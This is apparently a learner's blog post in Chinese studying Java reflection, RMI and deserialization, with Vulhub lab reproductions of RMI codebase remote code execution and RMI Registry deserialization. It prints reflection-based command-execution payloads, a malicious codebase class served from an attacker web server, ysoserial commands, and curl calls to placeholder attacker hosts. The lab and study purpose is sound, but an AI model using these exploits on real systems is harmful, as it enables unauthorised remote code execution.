反射
Java中对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。(P神的定义)
反射中几位重要的方法
- 获取类的方法:
forname
- 实例化类对象的方法:
newInstance
- 获取函数的方法:
getMethod
- 执行函数的方法:
invoke
获取类的三种方式
obj.getClass()
如果上下文中存在某个类的实例obj
,那么我们可以直接通过obj.getClass()
来获取它的类。1
2
3Runtime runtime = Runtime.getRuntime();
System.out.println(runtime.getClass());
// class java.lang.Runtime
Test.class
如果你已经加载了某个类,只是想获取到它的java.lang.Class
对象,那么就直接 拿它的 class 属性即可。这个⽅法其实不属于反射。Class.forName
如果你知道某个类的名字,想获取到这个类,就可以使⽤forName
来获取1
2
3Class clazz = Class.forName("java.lang.Runtime");
System.out.println(clazz);
// class java.lang.Runtime
使用newInstance
不成功的一些原因
- 你使用的类没有无参构造函数
- 你使用的类构造函数是私有的
案例
1 | Class clazz = Class.forName("java.lang.Runtime"); |
会报错
原因是Runtime
类的构造方法是私有的
可以这样
1 | Class clazz = Class.forName("java.lang.Runtime"); |
getMethod
的作用是通过反射获取一个类的特定的公有方法。
invoke
的作用是执行方法,它的第一个参数是:
- 如果这个方法是一个普通方法,那么第一个参数是类对象
- 如果这个方法是一个静态方法,那么第一个参数是类
上述命令执行的payload可以分解为
1 | Class clazz = Class.forName("java.lang.Runtime"); |
到这里P神提出了两个疑问
- 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类 呢?
- 如果一个方法或构造方法是私有方法,我们是否能执行它呢?
第一个问题的解决方式,需要用到一个新的放射方法getConstructor
和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。 获取到构造函数后,我们使用 newInstance 来执行。
ProcessBuilder有两个构造函数
- public ProcessBuilder(List command)
- public ProcessBuilder(String… command)
用第一种形式
主要传入List.class
1 | Class clazz = Class.forName("java.lang.ProcessBuilder"); |
利用反射的方式
1 | Class clazz = Class.forName("java.lang.ProcessBuilder"); |
第二种形式
主要传入String[].class
1 | Class clazz = Class.forName("java.lang.ProcessBuilder"); |
反射的方式
1 | Class clazz = Class.forName("java.lang.ProcessBuilder"); |
第二个问题:如果一个方法或构造方法是私有方法,我们是否能执行它呢?
解决方式是getDeclared
系列的反射,它与普通的getMethod
、getConstructor
区别是:
getMethod
系列方法获取的是当前类中所有公共方法,包括从父类继承的方法getDeclaredMethod
系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私 有的方法,但从父类里继承来的就不包含了
实现代码
1 | Class clazz = Class.forName("java.lang.Runtime"); |
这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。
RMI
RMI全称是Remote Method Invocation,远程方法调用。
RMI Server
1 | package org.vulhub.RMI; |
一个RMI Server分为三部分
- 一个继承了
java.rmi.Remote
的接口,其中定义我们要远程调用的函数,比如这里的hello()
- 一个实现了此接口的类
- 一个主类,用来创建Register,并将上面的类实例化后绑定到一个地址,这就是我们所谓的Server了。
RMI Client
1 | package org.vulhub.Train; |
客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在 本地使⽤⼀样了。 虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的,但实际上我们还是需要知道有哪些⽅法,这时 候接⼝的重要性就体现了,这也是为什么我们前⾯要继承 Remote 并将我们需要调⽤的⽅法写在接⼝ IRemoteHelloWorld ⾥,因为客户端也需要⽤到这个接⼝。
一个RMI过程有以下三个参与者:
- RMI Registey
- RMI Server
- RMI Client
如何攻击RMI Registry?
Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。 不过list和lookup方法可以远程调用。 list方法可以列出目标上所有绑定的对象:
1 | // list方法可以列出目标上所有绑定的对象 |
1 | // lookup作用就是获得某个远程对象 |
RMI利用codebase执行任意代码
有满足如下条件的RMI服务器才能被攻击:
- 安装并配置了SecurityManager
- Java版本低于7u21、6u45,或者设置了
java.rmi.server.useCodebaseOnly=false
其中java.rmi.server.useCodebaseOnly
是在Java 7u21、6u45的时候修改的一个默认设置: https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
复现代码
1 | // ICalc.java |
编译及运行
1 | javac *.java |
建立一个RMIClient.java:
1 | import java.rmi.Naming; |
这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才 会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。
运行RMIClient:
1 | java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient |
我们只需要编译一个恶意类,将其class文件放置在Web服务器的 /RMIClient$Payload.class 即可。
恶意类
1 | import java.rmi.Naming; |
想知道原理,可以通过抓包来查看RMI做了什么,跟着P神文章做了一遍,通过wireshark抓包,抓到一些进行了序列化的数据,用GitHub - NickstaDB/SerializationDumper: A tool to dump Java serialization streams in a more human readable form. 工具查看序列化数据,但是看不懂。
反序列化
Java、php、Python反序列化有什么异同?
Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式 生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。 但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者 在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。 当然,PHP中也提供了一个魔术方法叫 __wakeup ,在反序列化的时候进行触发。很多人会认为Java的 readObject 和PHP的 __wakeup 类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决 的问题稍微有些差异。 Java设计 readObject 的思路和PHP的 __wakeup 不同点在于: readObject 倾向于解决“反序列化时如 何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的 问题。
PHP反序列化
Java反序列化
Python反序列化
ysoserial工具
https://github.com/frohoff/ysoserial
生成CommonsCollections
利用poc
1 | java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id" |
URLDNS
URLDNS
就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使⽤:
- 使⽤Java内置的类构造,对第三⽅库没有依赖
- 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
common-collections
poc1
1 | package org.vulhub.Ser; |
poc2
1 | package org.vulhub.Ser; |
小结
看了URLDNS
和common-collections
这两条链子的利用和原理,利用倒是会了,原理确实是看不懂,也许是因为没有java相关的底子,我不知道是不是该继续看下去,因为确实挺费劲的,因为上次ctf题碰到java反序列化的题,做不起,所有才来学习java反序列化,但是java反序列化的坑很深,也并非一周两周就能够掌握,迷茫了。目前想法就是,找些环境来实践,先不管原理,先会利用起来,至少ctf中遇到能做得起。
Java RMI codebase 远程代码执行漏洞复现
复现步骤
https://vulhub.org/#/environments/java/rmi-codebase/
使用Docker拉取漏洞环境
1 | root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose build |
启动环境
1 | docker-compose run -e RMIIP=your-ip -p 1099:1099 -p 64000:64000 rmi |
1 | root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-codebase# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 -p 64000:64000 rmi |
因为是在云服务器上,执行反弹shell的话,无法反弹到本地主机,所以这里准备执行一条命令
curl http://xx.xx.xx.xx:8000/exp
来验证命令是否被执行
首先构造一个恶意类
RMIClient.java
1 |
|
编译
1 | javac RMIClient.java |
会得到两个文件RMIClient$Payload.class
和 RMIClient.class
然后将这两个文件上传至云服务器,用python3 -m http.server
启动一个http服务器进行监听。
1 | ubuntu@VM-0-12-ubuntu:~/Temp$ ls |
之所以这样做是因为正常执行的时候,我们可以通过
-Djava.rmi.server.codebase=http://xx.xx.xx.xx/
控制codebase
而这个codebase有什么作用呢?
P神说的
既然这个Java系列的文章要尽量全面地梳理Java知识,我们不妨将时间线拉的久远一些……
曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需
要指定一个codebase属性,比如:
1
2
3 > <applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
> </applet>
>
除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则
Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为
Example类的字节码。RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻
找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?
对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去
CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。
接下来使用一个正常的客户端进行连接
1 | import java.rmi.Naming; |
先编译
1 | javac RMIClient.java |
这里的 http://example.com/
就是刚刚python监听的地址
1 | F:\Code\JAVA\RMI2\src>javac RMIClient.java |
可以看到这里报了很多错误,但是没有关系,因为我们的命令已经成功执行。
看看刚刚python监听的日志
1 | ubuntu@VM-0-12-ubuntu:~/Temp$ python3 -m http.server |
这里不仅读取了RMIClient$Payload.class
和RMIClient.class
文件,还请求了/exp
,说明成功执行了命令。
复现完成。
以下复现主要学习ysoserial
工具的使用
Java RMI Registry 反序列化漏洞(<=jdk8u111)
搭建环境
https://vulhub.org/#/environments/java/rmi-registry-bind-deserialization/
1 | docker-compose build |
1 | root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose build |
1 | root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 rmi |
利用
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server" |
1 | F:\Tools\WEB\Java-Tools |
成功执行
1 | Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... |
小结
本来是想多复现几个场景的,但是由于环境原因,实现起来比较复杂,我的目的就只是练习使用ysoserial
工具,就懒得搞了,而且耽误时间并且意义也不大,那么学习java反序列就告一段落,这只是刚刚开始,后边还会陆陆续续进行学习。